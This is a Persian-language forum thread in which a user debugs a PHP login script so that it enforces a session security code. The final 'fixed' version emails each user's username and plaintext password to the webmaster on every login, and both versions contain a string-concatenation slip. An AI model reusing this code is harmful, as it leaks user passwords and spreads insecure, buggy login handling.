مشکل در ترتیب اجرای کد لاگین

[hamidhassas]

من با کد زیر لاگین می کنم و وارد سایتم میشم اما مراحل اجرای کد مشکل داره.

این کل کد:


<?PHP
session_start();
require_once("include/membersite_config.php");
if(isset($_POST['submitted']))
{

if(!empty($_POST['username']) && !empty($_POST['password']) && !empty($_POST['security_key'])) {
if($_POST['security_key'] == $_SESSION['randum_code']) {

// send email

$accept = "شما با موفقیت وارد شدید. با تشکر";
$to = "webmaster@hassas-computer.com";
$subject = "ورود کاربر به سایت";
$user_message = "کاربر زیر اقدام به ورود به سامانه را کرده";
$body = "\n".
"نام کاربری: $name\n".
"توضیحات: \n ".
"$user_message\n".

mail($to, $subject, $body );
} else {
$error = "کد امنیتی را اشتباه وارد کرده اید! دوباره امتحان کنید";
}
}
if($fgmembersite->Login())
{
$fgmembersite->RedirectToURL("index.php");
}
}
?>



حالا قسمت به قسمت مشکلاتم رو میگم.

همه چیز درسته اما مشکلات به صورت زیر وجود داره

1- وقتی که من username و password را وارد میکنم در صورتی که کد امنیتی security_key را چه درست و چه نادرست وارد کنم عمل لاگین اتفاق می افته که نمیخوام چنین اتفاقی به وجود بیاد
میخوام در صورتی که کد امنیتی اشتباه وارد شده باشه عملیات لاگین متوقف بشه و لاگین صورت نگیره و در صورتی که کد را درست وارد شده بود اول پیام خط " $accept = "شما با موفقیت وارد شدید. با تشکر"; " داده بشه و بعد عمل لاگین صورت بگیره.

[mamali-mohammad]

خب شما اول باید کدی که کاربر میفرسته رو با کد موجود در دیتابیس تطبیق بدی
اینکارو نکردی

[hamidhassas]

خب شما اول باید کدی که کاربر میفرسته رو با کد موجود در دیتابیس تطبیق بدی
اینکارو نکردی

اقا کد رو به صورت زیر در آوردم درست شد.


<?PHP
session_start();
require_once("include/membersite_config.php");
if(isset($_POST['submitted']))
{

if(!empty($_POST['username']) && !empty($_POST['security_key']) && !empty($_POST['password'])) {
if($_POST['security_key'] == $_SESSION['randum_code']) {

// send email

$accept = "شما با موفقیت وارد شدید. با تشکر";
$to = "webmaster@hassas-computer.com";
$subject = "ورود کاربر به سایت";
$user_message = "کاربر زیر اقدام به ورود به سامانه را کرده";
$username = $_POST['username'];
$password = $_POST['password'];
$from = "Webmaster.Security";

$body = "\n".
"Username: $username\n".
"Password: $password\n".

$headers = "From: $from \r\n";
$headers .= "Reply-To: $from \r\n";

mail($to, $subject, $body, $headers);

if($fgmembersite->Login())
{
$fgmembersite->RedirectToURL("index.php");
}
} else {
$error = "کد امنیتی را اشتباه وارد کرده اید! دوباره امتحان کنید";
}
}
}
?>